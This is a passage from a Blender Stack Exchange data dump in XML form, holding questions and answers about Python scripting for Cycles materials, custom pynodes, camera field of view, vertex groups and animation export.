LastActivityDate="2015-01-19T16:33:10.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23430" PostTypeId="1" AcceptedAnswerId="75507" CreationDate="2015-01-19T12:08:13.170" Score="6" ViewCount="812" Body="&lt;p&gt;I want to create a custom pynode that reads the object properties (position, rotation, scale ...) of the current object on what the material with the custom pynode is applied to and use these values for the shader itself. E.g. If the position of the object changes, then this should affect the color of the shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this base setup from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?331299-Cycles-Custom-Float-Node&amp;amp;p=2606082&amp;amp;viewfull=1#post2606082&quot; rel=&quot;nofollow&quot;&gt;Atom&lt;/a&gt; and tried to draw the object position as float value into the node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#NOTE: Run this code first then use SHIFT-A, below, to add Custom Float node type.&#xA;import bpy&#xA;from bpy.types import NodeTree, Node, NodeSocket&#xA;&#xA;# Implementation of custom nodes from Python&#xA;# Derived from the NodeTree base type, similar to Menu, Operator, Panel, etc.&#xA;class MyCustomTree(NodeTree):&#xA;    bl_idname = 'CustomTreeType'&#xA;    bl_label = 'Custom Node Tree'&#xA;&#xA;# Defines a poll function to enable filtering for various node tree types.&#xA;class MyCustomTreeNode :&#xA;    @classmethod&#xA;    def poll(cls, ntree):&#xA;        b = False&#xA;        # Make your node appear in different node trees by adding their bl_idname type here.&#xA;        if ntree.bl_idname == 'ShaderNodeTree': b = True&#xA;        return b&#xA;&#xA;# Derived from the Node base type.&#xA;class MyCustomNode(Node, MyCustomTreeNode):&#xA;    '''A custom node'''&#xA;    bl_idname = 'CustomNodeType'&#xA;    bl_label = 'Custom Float'&#xA;    bl_icon = 'INFO'&#xA;&#xA;    def update_value(self, context):&#xA;        self.outputs[&quot;Float&quot;].default_value = self.some_value&#xA;        self.outputs[&quot;Color&quot;].default_value = self.some_color_value&#xA;        self.update ()&#xA;&#xA;    # float value&#xA;    some_value = bpy.props.FloatProperty(default=0.0, update = update_value)&#xA;&#xA;    # color value&#xA;    some_color_value = bpy.props.FloatVectorProperty(&#xA;        name = &quot;Color&quot;,&#xA;        subtype = &quot;COLOR&quot;,&#xA;        size = 4,&#xA;        min = 0.0,&#xA;        max = 1.0,&#xA;        default = (0.75,0.0,0.8,1.0)&#xA;        )&#xA;&#xA;    def init(self, context):&#xA;        self.outputs.new('NodeSocketFloat', &quot;Float&quot;)&#xA;        self.outputs.new('NodeSocketColor', 'Color')&#xA;        self.outputs[&quot;Float&quot;].default_value = self.some_value&#xA;        self.outputs[&quot;Color&quot;].default_value = self.some_color_value&#xA;&#xA;&#xA;    def update(self):&#xA;        #Review linked outputs.&#xA;        try:&#xA;            out = self.outputs[&quot;Float&quot;]&#xA;            out = self.outputs[&quot;Color&quot;]&#xA;            print (out_clr)&#xA;            can_continue = True&#xA;        except:&#xA;            can_continue = False&#xA;&#xA;&#xA;        if can_continue:&#xA;            if out.is_linked:&#xA;                # I am an ouput node that is linked, try to update my link.&#xA;                for o in out.links:&#xA;                    if o.is_valid:&#xA;                        o.to_socket.node.inputs[o.to_socket.name].default_value = self.outputs[&quot;Float&quot;].some_value   #self.some_value&#xA;                for o in out_clr.links:&#xA;                        o.to_socket.node.inputs[o.to_socket.name].default_value = self.outputs[&quot;Color&quot;].some_color_value   #self.some_value&#xA;&#xA;&#xA;    # Additional buttons displayed on the node.&#xA;    def draw_buttons(self, context, layout):&#xA;        layout.prop(self, &quot;some_value&quot;,text = '')&#xA;        layout.prop(self, &quot;some_color_value&quot;,text = 'Color')&#xA;&#xA;    # Optional: custom label&#xA;    # Explicit user label overrides this, but here we can define a label dynamically.&#xA;    def draw_label(self):&#xA;        return &quot;My Float&quot;&#xA;&#xA;### Node Categories ###&#xA;import nodeitems_utils&#xA;from nodeitems_utils import NodeCategory, NodeItem&#xA;&#xA;# our own base class with an appropriate poll function,&#xA;# so the categories only show up in our target tree type&#xA;class MyNodeCategory(NodeCategory):&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        b = False&#xA;        # Make your node appear in different node trees by adding their bl_idname type here.&#xA;        if context.space_data.tree_type == 'ShaderNodeTree': b = True&#xA;        return b&#xA;&#xA;# all categories in a list&#xA;node_categories = [&#xA;    # identifier, label, items list&#xA;    MyNodeCategory(&quot;SOMENODES&quot;, &quot;Custom Float&quot;, items=[&#xA;        NodeItem(&quot;CustomNodeType&quot;),&#xA;        ]),&#xA;    ]&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(MyCustomNode)&#xA;    nodeitems_utils.register_node_categories(&quot;CUSTOM_NODES&quot;, node_categories)&#xA;&#xA;def unregister():&#xA;    nodeitems_utils.unregister_node_categories(&quot;CUSTOM_NODES&quot;)&#xA;    bpy.utils.unregister_class(MyCustomNode)&#xA;&#xA;def pre_frame_change(scene):&#xA;    if scene.render.engine == 'CYCLES':&#xA;        # Scan materials to see if I have a custom node within any of the trees.&#xA;        for obj in bpy.data.objects:&#xA;            if obj.type == 'MESH':          &#xA;                for m in obj.data.materials:&#xA;                    if m.node_tree != None:&#xA;                        for n in m.node_tree.nodes:&#xA;                            if n.bl_idname == 'CustomNodeType':&#xA;                                print (&quot;THIS IS THE OBJECT&quot; + obj.name)&#xA;                                print(n.bl_idname)&#xA;                                # One of our custom nodes, let's update it.&#xA;                                # When we set the value that will trigger an update inside the node.&#xA;                                # Even if we change it to the same value it was.&#xA;                                v = n.some_color_value&#xA;                                print (v)&#xA;                                n.some_color_value = v&#xA;                                print (n)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    bpy.app.handlers.frame_change_pre.append(pre_frame_change)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But unfortunately I don't really understand the concept of pynodes to accessing the properties of the scene object and update it for every frame if the values are animated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get object properties to use it for the shader itself?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-02-17T10:36:57.247" LastActivityDate="2017-03-13T00:38:15.380" Title="Cycles pynode which outputs object's properties" Tags="&lt;pynodes&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23431" PostTypeId="1" AcceptedAnswerId="38571" CreationDate="2015-01-19T12:20:42.440" Score="7" ViewCount="41180" Body="&lt;p&gt;I get the settings of the camera I have to use in FOV angle unit(both horizontal and vertical). How to set it in Blender? In Blender you can only insert one FOV. I assume that is the horizontal FOV and how can you set the vertical one? Can anyone help me? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="8396" LastActivityDate="2015-09-15T09:56:10.367" Title="How to set camera horizontal and vertical FOV" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23432" PostTypeId="1" AcceptedAnswerId="23471" CreationDate="2015-01-19T12:36:03.400" Score="4" ViewCount="2666" Body="&lt;p&gt;It seems that vertices with zero weight will remain in the vgroup by default, and there appears to be no straightforward way to batch remove all zero-weight vertices from it except having to manually delete one by one from Vertex Paint panel from N sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder if there are some possible ways to batch remove them from the group. Since it does lead to unexpected results when using some modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Or is there any operators can do something like &lt;strong&gt;&quot;Select by Weight&quot;&lt;/strong&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-20T06:33:14.967" Title="How to batch remove zero-weight vertices from vgroup?" Tags="&lt;python&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23433" PostTypeId="1" AcceptedAnswerId="23434" CreationDate="2015-01-19T12:54:24.920" Score="32" ViewCount="31017" Body="&lt;p&gt;How can I assign a new material to an object in the scene via Python?&lt;/p&gt;&#xA;" OwnerUserId="11070" LastEditorUserId="55" LastEditDate="2016-05-25T06:25:30.810" LastActivityDate="2019-12-07T18:09:32.030" Title="How to assign a new material to an object in the scene from Python?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="23434" PostTypeId="2" ParentId="23433" CreationDate="2015-01-19T13:11:39.120" Score="61" Body="&lt;p&gt;Here you go, code with some safety checks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;ob = bpy.context.active_object&#xA;&#xA;# Get material&#xA;mat = bpy.data.materials.get(&quot;Material&quot;)&#xA;if mat is None:&#xA;    # create material&#xA;    mat = bpy.data.materials.new(name=&quot;Material&quot;)&#xA;&#xA;# Assign it to object&#xA;if ob.data.materials:&#xA;    # assign to 1st material slot&#xA;    ob.data.materials[0] = mat&#xA;else:&#xA;    # no slots&#xA;    ob.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="55" LastEditDate="2016-05-25T06:29:17.360" LastActivityDate="2016-05-25T06:29:17.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23435" PostTypeId="2" ParentId="15154" CreationDate="2015-01-19T13:28:58.287" Score="2" Body="&lt;p&gt;@poor This was my solution. Before adding an image texture into my shader, I did some gamma correction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to increase your gamma output after rendering under scene -&gt; color management in your properties. I am still not sure about if it was the right way, but it did a good job at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNunD.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-01-19T13:28:58.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23436" PostTypeId="1" AcceptedAnswerId="23446" CreationDate="2015-01-19T13:29:53.620" Score="40" ViewCount="23258" Body="&lt;p&gt;How can I define the different properties of an Cycles material? Such things as glossy, glass, diffuse, RGB-color, emissive via Python scripting?&lt;/p&gt;&#xA;" OwnerUserId="11070" LastEditorUserId="64671" LastEditDate="2019-06-24T16:06:00.073" LastActivityDate="2021-02-18T08:22:54.303" Title="Control Cycles material nodes and material properties in Python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="20" ContentLicense="CC BY-SA 4.0" />
  <row Id="23437" PostTypeId="1" AcceptedAnswerId="23438" CreationDate="2015-01-17T19:57:06.440" Score="16" ViewCount="89101" Body="&lt;p&gt;I want to put a 2D image on a 3D object in Blender. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the &quot;textures&quot; tab in the &quot;properties&quot; window, but I can't figure out what to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably, I would like to click and drag an image off my desktop right onto the object.&lt;/p&gt;&#xA;" OwnerUserId="11081" OwnerDisplayName="Android102" LastEditorUserId="11081" LastEditDate="2017-05-21T21:34:11.540" LastActivityDate="2017-05-21T21:34:11.540" Title="Add an image to an object" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23438" PostTypeId="2" ParentId="23437" CreationDate="2015-01-18T01:07:46.237" Score="8" Body="&lt;p&gt;As you tagged this with unity you will want to use Blender Render and not cycles, this needs to be selected at the top of the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvKqk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the texture settings, check that you are showing material textures (the centre button above the texture list), click the new texture button, ensure Type is Image or movie, then open your image file. This should leave you with something like -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0B6fQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default you won't see the effect of the image straight away in the 3dview, you can switch the viewport shading to material or rendered to see the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DoLz0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an addon called &quot;import images as planes&quot; that you can enable, which will create a plane and apply the image you select as it's material.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-01-18T01:07:46.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23439" PostTypeId="1" AcceptedAnswerId="23441" CreationDate="2015-01-19T14:09:57.950" Score="0" ViewCount="1015" Body="&lt;p&gt;I've been using blender to export models and simple animations into an augmented reality environment, but I'm starting to run into exporting issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm trying to animate a wire plugging into a connector.  My setup is a cylinder with a curve modifier, with a few hooks that have bones attached to them.  The animation itself looks great, but when I try to export, the cylinder doesn't move (the connector on the end of it, which is a separate object, moves fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that it has something to do with the modifier getting applied, or not applied during export.  I also tried using shape keys, but they don't like to play along with the curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can export to md2 or fbx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone steer me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="11071" LastEditorUserId="2217" LastEditDate="2015-01-19T15:29:53.070" LastActivityDate="2015-01-19T15:29:53.070" Title="export animation to fbx or md2" Tags="&lt;animation&gt;&lt;export&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23440" PostTypeId="2" ParentId="23439" CreationDate="2015-01-19T14:20:34.597" Score="0" Body="&lt;p&gt;Did you check to see if this button is enabled in the modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50EfM.jpg&quot; alt=&quot;did you check if this is on&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-19T14:20:34.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23441" PostTypeId="2" ParentId="23439" CreationDate="2015-01-19T14:28:32.580" Score="1" Body="&lt;p&gt;On second read, I think I understand better. You are exporting a mesh with a modifier to an engine that doesn't support the same modifiers. Most realtime engines only support bone animations - a lot of them don't even support shape keys. &#xA;Basically, you can't do what you are doing :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: animate it in a way that doesn't use curve modifiers, only bones (might not be easy though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: save your mesh animation as an MDD (mesh cache) and load that into your engine, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: See if you can set up an equivalent to a curve modifier in your engine. For example, you might be able to make a script that makes the wire traverse through a series of null points. This depends on the engine you are using though.&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-19T14:28:32.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23442" PostTypeId="2" ParentId="23436" CreationDate="2015-01-19T14:35:40.847" Score="9" Body="&lt;p&gt;If you right-click on any value in Blender, there's an option called 'Copy Data Path'. If you select this and paste the result you will get the Python command to change the value. &lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-19T14:35:40.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23443" PostTypeId="1" CreationDate="2015-01-19T14:38:50.863" Score="0" ViewCount="85" Body="&lt;p&gt;I've got an animation that I want to render from loads of camera angles. How can I write a script to automatically loop through all the cameras and render the scene from each perspective?&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-19T14:38:50.863" Title="How to automatically render from several camera angles?" Tags="&lt;python&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-19T15:51:38.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="23444" PostTypeId="2" ParentId="23431" CreationDate="2015-01-19T14:47:14.063" Score="7" Body="&lt;p&gt;The FOV camara parameter is for setting the horizontal FOV. You get the vertical FOV by dividing with the image aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you image is 1:1 aspect ratio, then the vertical and horizontal FOV will be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your FOV is 2:1, then the vertical FOV is half the horizontal value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's &lt;code&gt;Horizontal FOV / aspect ratio = vertical FOV&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your aspect ratio is 16:9, you must multiply by 0.5625 (because 9/16=0.5625)&lt;/p&gt;&#xA;" OwnerUserId="10951" LastEditorDisplayName="user1853" LastEditDate="2015-01-19T14:59:51.537" LastActivityDate="2015-01-19T14:59:51.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23446" PostTypeId="2" ParentId="23436" CreationDate="2015-01-19T15:32:30.603" Score="70" Body="&lt;p&gt;Here is how to &lt;strong&gt;change material properties&lt;/strong&gt;, you can see all of them &lt;a href=&quot;http://www.blender.org/api/current/bpy.types.Material.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or see the python path when you hover over in the UI on some material attribute:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;&#xA;    # get the material&#xA;    mat = bpy.data.materials['Material_Name']&#xA;    # change its parameters - example viewport diffuse color:&#xA;    mat.diffuse_color = (1,0,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is how to &lt;strong&gt;manipulate material nodes&lt;/strong&gt; and thus the material look itself:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the nodes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  import bpy&#xA;&#xA;  # get the material&#xA;  mat = bpy.data.materials['Material_Name']&#xA;  # get the nodes&#xA;  mat.use_nodes = True&#xA;  nodes = mat.node_tree.nodes&#xA;&#xA;  # get some specific node:&#xA;  # returns None if the node does not exist&#xA;  diffuse = nodes.get(&amp;quot;Diffuse BSDF&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create driver:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  # insert driver to roughness&#xA;  driver = diffuse.inputs[1].driver_add(&amp;quot;default_value&amp;quot;)&#xA;  var = driver.driver.variables.new()&#xA;  var.name = &amp;quot;variable&amp;quot;&#xA;  var.targets[0].data_path = &amp;quot;PATH&amp;quot;&#xA;  var.targets[0].id = &amp;quot;Target_Object_Name&amp;quot;&#xA;  driver.driver.expression = &amp;quot;variable&amp;quot;&#xA;&#xA;  # remove driver&#xA;  diffuse.inputs[1].driver_remove(&amp;quot;default_value&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keyframes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  # insert key frame to roughness at frame 10&#xA;  diffuse.inputs[1].keyframe_insert(&amp;quot;default_value&amp;quot;, frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create nodes, &lt;a href=&quot;http://www.blender.org/api/current/bpy.types.ShaderNode.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; are all the node types you can create (look for subclasses):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  # remove specific node&#xA;  nodes.remove(diffuse)&#xA;&#xA;  # clear all nodes to start clean&#xA;  nodes.clear()&#xA;&#xA;  # create emission node&#xA;  node_emission = nodes.new(type='ShaderNodeEmission')&#xA;  node_emission.inputs[0].default_value = (0,1,0,1)  # green RGBA&#xA;  node_emission.inputs[1].default_value = 5.0 # strength&#xA;  node_emission.location = 0,0&#xA;&#xA;  # create output node&#xA;  node_output = nodes.new(type='ShaderNodeOutputMaterial')   &#xA;  node_output.location = 400,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Link nodes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  # link nodes&#xA;  links = mat.node_tree.links&#xA;  link = links.new(node_emission.outputs[0], node_output.inputs[0])&#xA;&#xA;  # get specific link&#xA;  from_s = node_emission.outputs[0]&#xA;  to_s = node_output.inputs[0]&#xA;  link = next((l for l in links if l.from_socket == from_s and l.to_socket == to_s), None)&#xA;&#xA;  # remove links&#xA;  links.remove(link)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As before hower over node atributes in UI to see the python paths&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2021-02-18T08:22:54.303" LastActivityDate="2021-02-18T08:22:54.303" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23447" PostTypeId="2" ParentId="23411" CreationDate="2015-01-19T15:33:38.300" Score="6" Body="&lt;p&gt;There is a possibility I have thought of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plane. Subdivide it a lot. Then add displacement modifier. Make sure the texture is black and white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the texture to the displacement modifier, this will raise 1 area of the plane while the other is lowered. Apply the displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you can go to side view in edit mode and select the lower faces using box select and delete them.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-01-19T15:33:38.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23448" PostTypeId="2" ParentId="23407" CreationDate="2015-01-19T15:44:05.950" Score="0" Body="&lt;p&gt;I would solve this problem by doing a LOT of analytic geometry and avoid bpy.ops as much as possible (because bpy.ops has cooties).  In fact, part of what you want I already did in my &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/spikify.html&quot; rel=&quot;nofollow&quot;&gt;spikify&lt;/a&gt;  script  for the &lt;a href=&quot;https://www.youtube.com/watch?v=EAsPEG7EyBw&quot; rel=&quot;nofollow&quot;&gt;azathoth boogie&lt;/a&gt; animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I was interpolating between the triangle of the icosphere face and the degenerate tip of the spike.  Here's an excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def fab_layer(verts, base_indices, layer, max_layers, max_radius):&#xA;&#xA;    vavg = average( [ verts[vi] for vi in base_indices])&#xA;&#xA;    tip = vavg * max_radius / vavg.magnitude&#xA;&#xA;    rval_vi = []&#xA;&#xA;    for i in range(len(base_indices)):&#xA;        v0 = verts[base_indices[i]]&#xA;        v1 = (v0 * (max_layers-layer) + tip*layer ) / max_layers&#xA;        idx = len(verts)&#xA;        rval_vi.append(idx)&#xA;        verts.append(v1)&#xA;&#xA;    return rval_vi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can mathematically decide what it means to &quot;extrude&quot; for &lt;strong&gt;your&lt;/strong&gt; application (which will likely be different than mine) then you can come up with your own code.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-01-19T15:44:05.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23449" PostTypeId="2" ParentId="23393" CreationDate="2015-01-19T15:55:44.553" Score="1" Body="&lt;p&gt;My first instinct is to use a single armature, and have different meshes with an armature modifier pointing to the same armature.  In simple cases you could instead parent the mesh to one bone in the armature.  In more complicated cases you can use the armature modifier and vertex groups with weights to have the mesh modified by the appropriate subset of bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly that translates to Unity, I am not sure.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-01-19T15:55:44.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23450" PostTypeId="1" AcceptedAnswerId="23456" CreationDate="2015-01-19T16:32:22.980" Score="4" ViewCount="350" Body="&lt;p&gt;I want to close all useless areas in my blender window. How command I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, I need the command of &quot;Close area&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type != 'IMAGE_EDITOR':&#xA;        #Close area&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2015-01-19T18:18:29.407" Title="Closing useless areas with python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23451" PostTypeId="2" ParentId="16516" CreationDate="2015-01-19T16:32:58.650" Score="1" Body="&lt;p&gt;There is a modified version of the &lt;strong&gt;Import Images as Planes&lt;/strong&gt; add-on that lets you stack series of images on a determined axis and determine the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tHWTx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sgq83.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script can be found &lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=305639&amp;amp;d=1398650875&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full thread on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?333722-Import-images-as-planes-addon-for-Z-axis&amp;amp;highlight=stack%20images%20as%20planes&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Keep in mind that is a modified version of the original script so you might need to move the original out of the scripts folder so that blender doesn't complaint of having multiple add-ons with the same name. &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-19T19:40:19.083" LastActivityDate="2015-01-19T19:40:19.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23452" PostTypeId="1" CreationDate="2015-01-19T16:58:10.963" Score="3" ViewCount="3814" Body="&lt;p&gt;I have just installed blender 2.71 and was playing with the grid settings in the display panel. No matter how far I zoom in or out, I am unable to see the subdivision lines in perspective mode. How can I view them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image from a tutorial on katsbits.com, you can see the subdivisions in the grid floor. Notice he is in perspective mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qdXry.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11072" LastEditorUserId="2217" LastEditDate="2015-01-20T03:55:15.933" LastActivityDate="2015-01-20T03:55:15.933" Title="How to view subdivision lines in 3d perspective grid?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23453" PostTypeId="1" CreationDate="2015-01-19T17:03:34.993" Score="1" ViewCount="650" Body="&lt;p&gt;How do I get a RegionView3D object from a Region object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on an operator in the quad view of the 3D view and I need to determine which region the user clicked in and the relative position to that specific region&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've tried event.mouse_region_x and y but those are relative to the original region that the operator was ran in&lt;/li&gt;&#xA;&lt;li&gt;I've also tried using the ctx object provided to the operator's modal function as well as bpy.context but both seem to be frozen on the original place the operator was ran in?&lt;/li&gt;&#xA;&lt;li&gt;Current solution is to check all areas in bpy.context.screen.areas, find the one clicked in and then find the region in that area. This means I now have a region but I can't get the RegionView3D from it. This is because RegionView3D is accessed from a Space object and that doesn't have any actual positional information on the screen.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10985" LastActivityDate="2015-01-19T19:09:57.620" Title="RegionView3D from Region object and vice versa" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
